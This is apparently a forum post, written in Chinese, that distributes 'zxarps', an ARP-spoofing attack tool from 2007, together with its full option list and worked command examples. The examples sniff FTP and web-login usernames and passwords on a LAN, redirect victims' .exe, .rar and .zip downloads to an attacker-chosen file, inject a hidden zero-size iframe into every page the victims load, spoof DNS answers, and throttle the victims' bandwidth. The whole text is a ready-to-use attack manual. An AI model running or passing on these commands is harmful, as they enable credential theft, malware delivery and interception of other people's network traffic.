作者: lzx
來源:幻影
說明:需要winPcap 基於arp欺騙,
具體功能看下面的使用說明~~~懶得打太多字了~~~
基於ARP欺騙的東東,可網頁插馬,DNS欺騙,自訂關鍵字嗅探等
0. Realtek RTL8139
IP Address. . . . . : 192.168.1.101
Physical Address. . : 00-11-D8-6B-5E-19
Default Gateway . . : 192.168.1.1
1. WAN (PPP/SLIP) Interface
IP Address. . . . . : xx.xx.xx.xx
Physical Address. . : 00-52-00-00-00-00
Default Gateway . . : xx.xx.xx.xx
options:
-idx [index] 網卡索引號
-ip [ip] 欺騙的IP,用'-'指定範圍,','隔開
-sethost [ip] 預設是網關,可以指定別的IP
-port [port] 關注的連接埠,用'-'指定範圍,','隔開,沒指定預設關注所有連接埠
-reset 恢複目標機的ARP表
-hostname 探測主機時擷取主機名稱資訊
-logfilter [string]設定儲存資料的條件,必須+-_做首碼,後跟關鍵字,
','隔開關鍵字,多個條件'|'隔開
所有帶+首碼的關鍵字都出現的包則寫入檔案
帶-首碼的關鍵字出現的包不寫入檔案
帶_首碼的關鍵字一個符合則寫入檔案(如有+-條件也要符合)
-save_a [filename] 將捕捉到的資料寫入檔案 ACSII模式
-save_h [filename] HEX模式
-hacksite [ip] 指定要插入代碼的網站網域名稱或IP,
多個可用','隔開,沒指定則影響所有網站
-insert [html code]指定要插入html代碼
-postfix [string] 關注的尾碼名,只關注HTTP/1.1 302
-hackURL [url] 發現關注的尾碼名後修改URL到新的URL
-filename [name] 新URL上有效資源檔名
-hackdns [string] DNS欺騙,只修改UDP的報文,多個可用','隔開
格式: 網域名稱|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1
-Interval [ms] 定時欺騙的時間間隔,預設是3秒
-spoofmode [1|2|3] 將資料騙發到本機,欺騙對象:1為網關,2為目標機,3為兩者
-speed [kb] 限制指定的IP或IP段的網路總頻寬,單位:KB
example:
嗅探指定的IP段中連接埠80的資料,並以HEX模式寫入檔案
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log
FTP嗅探,在21或2121連接埠中出現USER或PASS的資料包記錄到檔案
zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log
HTTP web郵箱登陸或一些論壇登陸的嗅探,根據情況自行改關鍵字
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log
用|添加嗅探條件,這樣FTP和HTTP的一些敏感關鍵字可以一起嗅探
zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log
如果嗅探到目標下載檔案尾碼是exe等則更改Location:為http://xx.net/test.exe
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe
指定的IP段中的使用者訪問到-hacksite中的網址則只顯示just for fun
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>"
指定的IP段中的使用者訪問的所有網站都插入一個架構代碼
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<iframe src='xx' width=0 height=0>"
指定的兩個IP的總頻寬節流設定到20KB
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20
DNS欺騙
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
zxarps Build 01/17/2007 By LZX.
:zxarps.rar